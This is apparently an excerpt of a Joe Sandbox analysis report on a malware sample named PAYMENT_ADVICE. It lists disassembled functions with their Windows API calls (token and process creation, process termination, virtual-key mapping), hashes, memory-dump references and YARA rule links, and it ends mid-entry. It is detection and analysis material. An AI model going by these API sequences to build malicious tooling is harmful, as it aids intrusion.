                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
                                                              • String ID:
                                                              • API String ID: 3008561057-0
                                                              • Opcode ID: 130a8610648f42ce9a49214d4b9cce840f9edf5e0aefbdd3725ec6f09c6e49c5
                                                              • Instruction ID: 8661dee3f94b4e7f2f1da579d4a9683f4f8ab6f69b079e0dbb9bd07fc6d6eacd
                                                              • Opcode Fuzzy Hash: 130a8610648f42ce9a49214d4b9cce840f9edf5e0aefbdd3725ec6f09c6e49c5
                                                              • Instruction Fuzzy Hash: F5117F71511609FFDF129FA4DC09FBE7BADEB86315F154029E845D7210CB32A944DB60
                                                              Function 003985B1 Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 003985E2
                                                              • OpenProcessToken.ADVAPI32(00000000), ref: 003985E9
                                                              • CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 003985F8
                                                              • CloseHandle.KERNEL32(00000004), ref: 00398603
                                                              • CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00398632
                                                              • DestroyEnvironmentBlock.USERENV(00000000), ref: 00398646
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
                                                              • String ID:
                                                              • API String ID: 1413079979-0
                                                              • Opcode ID: daa14c661247b0ecb7483cb44c2cccf0d1a1e0ccd646cc3cd5fd3dc38793d764
                                                              • Instruction ID: 8683c495b74c872aa4341a01941fdb0bec93e2e37d3567226fe91898d1af2644
                                                              • Opcode Fuzzy Hash: daa14c661247b0ecb7483cb44c2cccf0d1a1e0ccd646cc3cd5fd3dc38793d764
                                                              • Instruction Fuzzy Hash: 881147B2500249AFDF029FA4DD49FEA7BADEB49344F054065FE05A2160C6729D64EB60
                                                              Function 0039B790 Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetDC.USER32(00000000), ref: 0039B7B5
                                                              • GetDeviceCaps.GDI32(00000000,00000058), ref: 0039B7C6
                                                              • GetDeviceCaps.GDI32(00000000,0000005A), ref: 0039B7CD
                                                              • ReleaseDC.USER32(00000000,00000000), ref: 0039B7D5
                                                              • MulDiv.KERNEL32(000009EC,?,00000000), ref: 0039B7EC
                                                              • MulDiv.KERNEL32(000009EC,?,?), ref: 0039B7FE
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: CapsDevice$Release
                                                              • String ID:
                                                              • API String ID: 1035833867-0
                                                              • Opcode ID: 4bd69b129ea2b368b9699c00ee7320426be47bd8b84b68608f68d53688da4a46
                                                              • Instruction ID: 267cf66d62a28af620f77d2b63760bd111dbfa897bcccb69a5dd0b8e5c6b1a60
                                                              • Opcode Fuzzy Hash: 4bd69b129ea2b368b9699c00ee7320426be47bd8b84b68608f68d53688da4a46
                                                              • Instruction Fuzzy Hash: 68017175A00219BFEF119BE69D45E5EBFADEF48711F004065FA04E7291D631AC10CF90
                                                              Function 00360162 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • MapVirtualKeyW.USER32(0000005B,00000000), ref: 00360193
                                                              • MapVirtualKeyW.USER32(00000010,00000000), ref: 0036019B
                                                              • MapVirtualKeyW.USER32(000000A0,00000000), ref: 003601A6
                                                              • MapVirtualKeyW.USER32(000000A1,00000000), ref: 003601B1
                                                              • MapVirtualKeyW.USER32(00000011,00000000), ref: 003601B9
                                                              • MapVirtualKeyW.USER32(00000012,00000000), ref: 003601C1
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Virtual
                                                              • String ID:
                                                              • API String ID: 4278518827-0
                                                              • Opcode ID: 36b21cb38d18cfcdb9ba8da48c04f66594a0e8074fa55569bd02ce2e8fdf2828
                                                              • Instruction ID: 6d8291223c248a1e40a0e8ccb5bc3aebd7abba42d72e2ef283b63d481a51eb77
                                                              • Opcode Fuzzy Hash: 36b21cb38d18cfcdb9ba8da48c04f66594a0e8074fa55569bd02ce2e8fdf2828
                                                              • Instruction Fuzzy Hash: E3016CB09017597DE3008F5A8C85B52FFA8FF19354F00411BA15C87941C7F5A864CBE5
                                                              Function 003A53E9 Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • PostMessageW.USER32(?,00000010,00000000,00000000), ref: 003A53F9
                                                              • SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 003A540F
                                                              • GetWindowThreadProcessId.USER32(?,?), ref: 003A541E
                                                              • OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 003A542D
                                                              • TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 003A5437
                                                              • CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 003A543E
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
                                                              • String ID:
                                                              • API String ID: 839392675-0
                                                              • Opcode ID: 9d149093bf145d8b7bba84d53f60a666f140736e3c78ec1369470fc798dd56f1
                                                              • Instruction ID: 3ab8c71ac920b7e17b54dfd0832011a50286e04ab5f6848cfd2d161847f9abc6
                                                              • Opcode Fuzzy Hash: 9d149093bf145d8b7bba84d53f60a666f140736e3c78ec1369470fc798dd56f1
                                                              • Instruction Fuzzy Hash: 4EF03032241558BFE7225BA2DC0EEEF7B7DEFCAB11F040169FA05D1051D7A12A1187B5
                                                              Function 003A7230 Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • InterlockedExchange.KERNEL32(?,?), ref: 003A7243
                                                              • EnterCriticalSection.KERNEL32(?,?,00350EE4,?,?), ref: 003A7254
                                                              • TerminateThread.KERNEL32(00000000,000001F6,?,00350EE4,?,?), ref: 003A7261
                                                              • WaitForSingleObject.KERNEL32(00000000,000003E8,?,00350EE4,?,?), ref: 003A726E
                                                                • Part of subcall function 003A6C35: CloseHandle.KERNEL32(00000000,?,003A727B,?,00350EE4,?,?), ref: 003A6C3F
                                                              • InterlockedExchange.KERNEL32(?,000001F6), ref: 003A7281
                                                              • LeaveCriticalSection.KERNEL32(?,?,00350EE4,?,?), ref: 003A7288
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
                                                              • String ID:
                                                              • API String ID: 3495660284-0
                                                              • Opcode ID: 11b71ad913164b06b22495bab7836c5dfe75dcf7182f101acb3e2503e37234bf
                                                              • Instruction ID: 14b4ddf1fade90ce303a5de8a90e7adf1b6a1686d65e0e562a5dc9ed05add198
                                                              • Opcode Fuzzy Hash: 11b71ad913164b06b22495bab7836c5dfe75dcf7182f101acb3e2503e37234bf
                                                              • Instruction Fuzzy Hash: C1F03A3A540612AFE7131B64ED8CEDA773EEF45712F150932F602D50A0CB766801CB50
                                                              Function 00398992 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • WaitForSingleObject.KERNEL32(?,000000FF), ref: 0039899D
                                                              • UnloadUserProfile.USERENV(?,?), ref: 003989A9
                                                              • CloseHandle.KERNEL32(?), ref: 003989B2
                                                              • CloseHandle.KERNEL32(?), ref: 003989BA
                                                              • GetProcessHeap.KERNEL32(00000000,?), ref: 003989C3
                                                              • HeapFree.KERNEL32(00000000), ref: 003989CA
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
                                                              • String ID:
                                                              • API String ID: 146765662-0
                                                              • Opcode ID: 3bf8de92c5b4ece72babe45ba2712b70bba24c8275e1a0b29f6fdfed18b5e38f
                                                              • Instruction ID: 2b54b5f2ea5485ab74f8bfab3cac73a19d546e8d02d729d5aecd0aec00f3796d
                                                              • Opcode Fuzzy Hash: 3bf8de92c5b4ece72babe45ba2712b70bba24c8275e1a0b29f6fdfed18b5e38f
                                                              • Instruction Fuzzy Hash: D5E05276104505FFDA022FE6EC0CD5ABB6EFB89762B548632F219C1470CB32A461DB50
                                                              Function 00397530 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 231COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,003D2C7C,?), ref: 003976EA
                                                              • CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,003D2C7C,?), ref: 00397702
                                                              • CLSIDFromProgID.OLE32(?,?,00000000,003CFB80,000000FF,?,00000000,00000800,00000000,?,003D2C7C,?), ref: 00397727
                                                              • _memcmp.LIBCMT ref: 00397748
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: FromProg$FreeTask_memcmp
                                                              • String ID: ,,=
                                                              • API String ID: 314563124-2941206825
                                                              • Opcode ID: 15d5c619430c0e9eb80e5a0d9a7deae6c5c663ec617f47d3041ab09ce90d47d8
                                                              • Instruction ID: 2f8199459b4b68227ff3cd27c7b874f22e1ead26db16a9615d44dbf56e00dffe
                                                              • Opcode Fuzzy Hash: 15d5c619430c0e9eb80e5a0d9a7deae6c5c663ec617f47d3041ab09ce90d47d8
                                                              • Instruction Fuzzy Hash: E281E975A10109EFCF05DFA4C984EEEB7B9FF89315F204558E506AB290DB71AE06CB60
                                                              Function 003B85ED Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • VariantInit.OLEAUT32(?), ref: 003B8613
                                                              • CharUpperBuffW.USER32(?,?), ref: 003B8722
                                                              • VariantClear.OLEAUT32(?), ref: 003B889A
                                                                • Part of subcall function 003A7562: VariantInit.OLEAUT32(00000000), ref: 003A75A2
                                                                • Part of subcall function 003A7562: VariantCopy.OLEAUT32(00000000,?), ref: 003A75AB
                                                                • Part of subcall function 003A7562: VariantClear.OLEAUT32(00000000), ref: 003A75B7
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Variant$ClearInit$BuffCharCopyUpper
                                                              • String ID: AUTOIT.ERROR$Incorrect Parameter format
                                                              • API String ID: 4237274167-1221869570
                                                              • Opcode ID: 5154fd7f1e6947a9af7d3d9cbc42b30a1b40d0e236b057dd829945f99dae41b8
                                                              • Instruction ID: 6eb84028c5ff028bc848a9c39d60ca1fd1d73924676f1c0d67cc92e38e569ca5
                                                              • Opcode Fuzzy Hash: 5154fd7f1e6947a9af7d3d9cbc42b30a1b40d0e236b057dd829945f99dae41b8
                                                              • Instruction Fuzzy Hash: F9918E716043019FC711DF24C48599BBBE8EF89718F14896EF98ACB761DB31E905CB51
                                                              Function 003A2A96 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 0035FC86: _wcscpy.LIBCMT ref: 0035FCA9
                                                              • _memset.LIBCMT ref: 003A2B87
                                                              • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 003A2BB6
                                                              • SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 003A2C69
                                                              • SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 003A2C97
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ItemMenu$Info$Default_memset_wcscpy
                                                              • String ID: 0
                                                              • API String ID: 4152858687-4108050209
                                                              • Opcode ID: 20465e4609883816765f423cac042df1afa42b0095ca7d401f1a7fd4983d40f9
                                                              • Instruction ID: 1f12dd542b580d265f00246200647d187b8ae9bcf1c4959ac2f0f65da508e850
                                                              • Opcode Fuzzy Hash: 20465e4609883816765f423cac042df1afa42b0095ca7d401f1a7fd4983d40f9
                                                              • Instruction Fuzzy Hash: 7051AC716083009FD72A9F2CC845A6FB7E8EF8A320F054A2DF895D7190DB74DD048B66
                                                              Function 00353137 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 161COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: _memmove$_free
                                                              • String ID: 3c5$_5
                                                              • API String ID: 2620147621-2150917133
                                                              • Opcode ID: 209cde297ae6d758e33687c32d6a1373c33b0ea8bcc54b96cdd062fe96fcc01b
                                                              • Instruction ID: 56dc598cdc5da04ad3bf41a39b25cc4127b1666ec98dc8f7ba22f480954d4200
                                                              • Opcode Fuzzy Hash: 209cde297ae6d758e33687c32d6a1373c33b0ea8bcc54b96cdd062fe96fcc01b
                                                              • Instruction Fuzzy Hash: 07517CB16087418FDB26CF29C481B6FBBE5BF85350F05892DE98987360D731E905CB82
                                                              Function 00356192 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 141COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: _memset$_memmove
                                                              • String ID: 3c5$ERCP
                                                              • API String ID: 2532777613-3339050422
                                                              • Opcode ID: e7f46a3af0dc2dc31307e62e91cd710004bb4f924dda2b3e6f6630a104780c48
                                                              • Instruction ID: 2a14e85183f511e7b8678312a8d59c28694fe9097911bbd7a3acfe8be7bffb19
                                                              • Opcode Fuzzy Hash: e7f46a3af0dc2dc31307e62e91cd710004bb4f924dda2b3e6f6630a104780c48
                                                              • Instruction Fuzzy Hash: 7A51A471900709DFDB26CF55C982BAAB7F8EF44315F61896EE94ACB260E770E944CB40
                                                              Function 003A2753 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _memset.LIBCMT ref: 003A27C0
                                                              • GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 003A27DC
                                                              • DeleteMenu.USER32(?,00000007,00000000), ref: 003A2822
                                                              • DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00405890,00000000), ref: 003A286B
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Menu$Delete$InfoItem_memset
                                                              • String ID: 0
                                                              • API String ID: 1173514356-4108050209
                                                              • Opcode ID: f160113c850f5928b07de30967e08ad1dd7551c73170c52fc3ce47035c8b11f6
                                                              • Instruction ID: 7b22dde29d72cf66eed6d8e46641c0f85c262d2adbffedcde6e8cf6f783dbc96
                                                              • Opcode Fuzzy Hash: f160113c850f5928b07de30967e08ad1dd7551c73170c52fc3ce47035c8b11f6
                                                              • Instruction Fuzzy Hash: A241AE702043019FDB22DF29C844F1BBBE8EF86314F05492DF9A59B291DB34E905CB52
                                                              Function 003BD7A5 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 003BD7C5
                                                                • Part of subcall function 0034784B: _memmove.LIBCMT ref: 00347899
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
